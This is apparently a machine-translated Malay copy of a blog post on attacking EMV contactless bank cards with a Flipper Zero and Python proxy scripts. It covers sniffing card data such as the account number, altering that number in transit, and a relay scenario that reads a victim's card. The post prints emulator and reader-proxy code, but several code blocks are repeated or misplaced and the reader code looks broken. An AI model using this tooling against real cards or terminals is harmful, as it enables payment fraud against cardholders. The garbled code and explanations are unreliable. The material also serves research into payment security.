Dalam siaran kami sebelum ini, kami meneroka cara Flipper boleh berfungsi sebagai kedua-dua pembaca kad tanpa sentuh NFC dan emulator kad NFC. Apabila kami menggabungkan kedua-dua fungsi ini, pelbagai kemungkinan senario serangan pada transaksi pembaca kad terserlah:
Dalam siaran ini, kami akan menangani tiga soalan ini secara terperinci.
Rajah di atas (tersedia dalam kualiti yang lebih tinggi di sini) menggambarkan persediaan yang kami sasarkan untuk menguji pelbagai serangan yang diterangkan sebelum ini.
Sebelum ini, kami memunggah semua logik pemprosesan data ke skrip Python yang berjalan di luar Flipper. Pendekatan ini menghapuskan keperluan untuk mengemas kini atau memuat naik perisian tegar baharu setiap kali kami ingin membuat perubahan. Walau bagaimanapun, satu persoalan timbul: adakah proksi Python ini akan memperkenalkan kependaman yang boleh mengganggu komunikasi dan menyebabkannya gagal?
Sebelum menjawab soalan ini, mari kita lihat skrip Python yang akan kami gunakan untuk menyediakan konfigurasi ini.
Dalam catatan blog sebelum ini, kami membincangkan dua komponen utama persediaan ini:
Sekarang, ia hanyalah soal menghubungkan kedua-duanya bersama. Apa sebenarnya yang kita bincangkan?
Keperluan untuk pembaca ini membawa kepada penciptaan kelas Pembaca abstrak, yang diterangkan di bawah. Selain itu, kami memperkenalkan kaedah untuk mewujudkan hubungan dengan pembaca.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
Seterusnya, kami mencipta kelas PCSCReader minimalis di bawah untuk berinteraksi dengan pembaca PC/SC.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Kini, kita boleh beralih kepada pelaksanaan emulator kad, yang dirujuk sebagai Emu, seperti yang ditunjukkan di bawah. Ia menerima objek Pembaca pilihan sebagai parameter. Jika disediakan, ia mewujudkan hubungan dengan pembaca.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Seterusnya, kami mentakrifkan tiga kaedah untuk menyampaikan peristiwa kepada pembaca: mematikan medan, menghidupkan medan dan menghantar APDU.
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
Seterusnya, kami menambah baik kaedah yang bertanggungjawab untuk menguruskan komunikasi arahan emulator kad di peringkat TPDU. Terutama, apabila arahan APDU yang lengkap diterima, kaedah process_apdu dipanggil untuk memajukannya kepada pembaca dan mendapatkan semula respons daripada kad sebenar.
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Akhir sekali, kami melaksanakan kaedah yang digunakan untuk memulakan emulasi kad daripada Flipper Zero.
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Skrip Python sudah sedia; sekarang mari kita lihat persediaan perkakasan yang akan kita gunakan untuk mengujinya.
Di bawah ialah replikasi kecil persekitaran serangan kami. Dari kiri ke kanan, kami ada:
Sempurna, kami kini mempunyai semua komponen yang diperlukan untuk melakukan serangan! Jom lawan!
Kita boleh cuba menghidu dahulu, bermakna arahan/balas APDU daripada Flipper dimajukan ke kad, tanpa sebarang pengubahsuaian.
Ini berfungsi dengan sempurna dan kekal stabil, dengan kod Python bertindak sebagai perantara yang tidak mempunyai kesan yang ketara! Jika proksi Python menambah terlalu banyak kependaman dan terminal mula merengek tentang kad yang terlalu perlahan, kami mempunyai penyelesaian untuk itu. Sesuatu yang saya belum sempat laksanakan (belum):
Di bawah ialah ekstrak log.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
Malah, sekeping kad boleh mempunyai ratusan aplikasi berbeza yang dipasang padanya, setiap satu dengan BANTUAN uniknya sendiri. Terminal tidak cuba mencuba semuanya satu demi satu. Inilah sebabnya, dalam domain perbankan tanpa sentuh, terdapat aplikasi khusus pada semua kad yang direka bentuk untuk menunjukkan aplikasi perbankan yang tersedia pada kad. AIDnya ialah 325041592e5359532e4444463031, yang diterjemahkan kepada ASCII sebagai 2PAY.SYS.DDF01.
Kemudian dalam komunikasi, kita dapat melihat aplikasi ini dipanggil (seperti yang ditunjukkan di bawah). Oleh itu, pemilihan sebelumnya bagi aplikasi dengan AID D2760000850101, seperti yang dibincangkan sebelum ini, nampaknya luar biasa.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Apabila menghuraikan respons, anda dapat melihat bahawa ia menunjukkan (antara butiran lain) kehadiran aplikasi dengan AID A0000000041010, yang sepadan dengan MasterCard.
Oleh itu, telefon akhirnya memilih aplikasi ini.
Selepas itu, ia mendapatkan semula pelbagai butiran daripada kad, termasuk Nombor Akaun Utama (PAN). Nombor yang dipaparkan pada kad sepadan dengan nombor yang ditunjukkan pada terminal, mengesahkan bahawa serangan geganti kami, yang bergantung pada menghidu mudah, berjaya!
Sudah tentu, alatan seperti Proxmark menjadikan menghidu lebih mudah, tetapi mengapa menjadikannya mudah apabila anda boleh menjadikannya rumit ;) ?
Sekarang, mari kita beralih kepada serangan lelaki-di-tengah. Ini bermakna kita bukan sahaja akan mendengar komunikasi tetapi secara aktif mengubahnya. Satu kes penggunaan yang menarik boleh mengubah suai nombor kad, contohnya, menukar 5132 kepada 6132.
Merujuk kembali kepada log daripada komunikasi kami sebelum ini, kami dapat melihat bahawa data ini dihantar dalam teks biasa. Ia diambil daripada kad menggunakan arahan READ RECORD seperti 00B2010C00 dan 00B2011400.
Memandangkan data tidak disulitkan dan tidak mempunyai perlindungan integriti, kami boleh mengubah suainya seperti yang dikehendaki. Untuk melaksanakan ini, kami hanya mengemas kini kaedah process_apdu dalam kelas PCSCReader kami untuk mengendalikan pengubahan.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Dan seperti yang ditunjukkan dalam imej di bawah, aplikasi itu sama sekali tidak mengetahui pengubahsuaian itu!
Mengapa ia berfungsi? Jawapannya ada dalam imej di bawah yang menerangkan lapisan komunikasi yang berbeza:
Kita juga boleh berseronok... Memandangkan saya membuat pengubahsuaian dengan tergesa-gesa, saya kadang-kadang mengubah data secara rawak. Dalam satu keadaan, seperti yang ditunjukkan dalam imej di bawah, ini menyebabkan aplikasi memaparkan blok aksara yang besar untuk nombor kad, walaupun ia sepatutnya dihadkan kepada 16 digit!
Ini membuka beberapa kemungkinan menarik untuk eksperimen kabur.
Seperti yang dinyatakan pada permulaan catatan blog ini, serangan geganti terdiri daripada memintas dan menyampaikan komunikasi antara dua pihak (cth., kad NFC dan terminal) tanpa mengubahnya, memperdaya terminal untuk mempercayai ia berkomunikasi dengan yang sah kad dalam masa nyata.
Seorang penggodam mahu membuat pembayaran di Terminal. Dia menyampaikan komunikasi terminal kepada rakan sejenayah berhampiran mangsa, yang kemudiannya berkomunikasi dengan kad mangsa tanpa pengetahuannya.
Percubaan sebelumnya menunjukkan bahawa serangan ini boleh dilaksanakan dalam persekitaran terkawal, seperti garaj. Walau bagaimanapun, dalam senario dunia sebenar, terdapat cabaran tambahan untuk dipertimbangkan.
Salah satu langkah balas utama terhadap serangan geganti ialah mengukur masa komunikasi, kerana geganti memperkenalkan kelewatan yang ketara. Walau bagaimanapun, protokol EMV yang lebih lama tidak termasuk perintah untuk memudahkan semakan masa sedemikian.
Kami telah sampai ke penghujung catatan blog ini. Saya harap anda menikmati kandungannya! Kod Python dan perisian tegar Flipper Zero yang diubah suai tersedia pada GitHub saya.
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
Atas ialah kandungan terperinci Flipper Zero NFC Hacking - Perbankan EMV, Serangan Man-in-the-Middle dan Relay. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!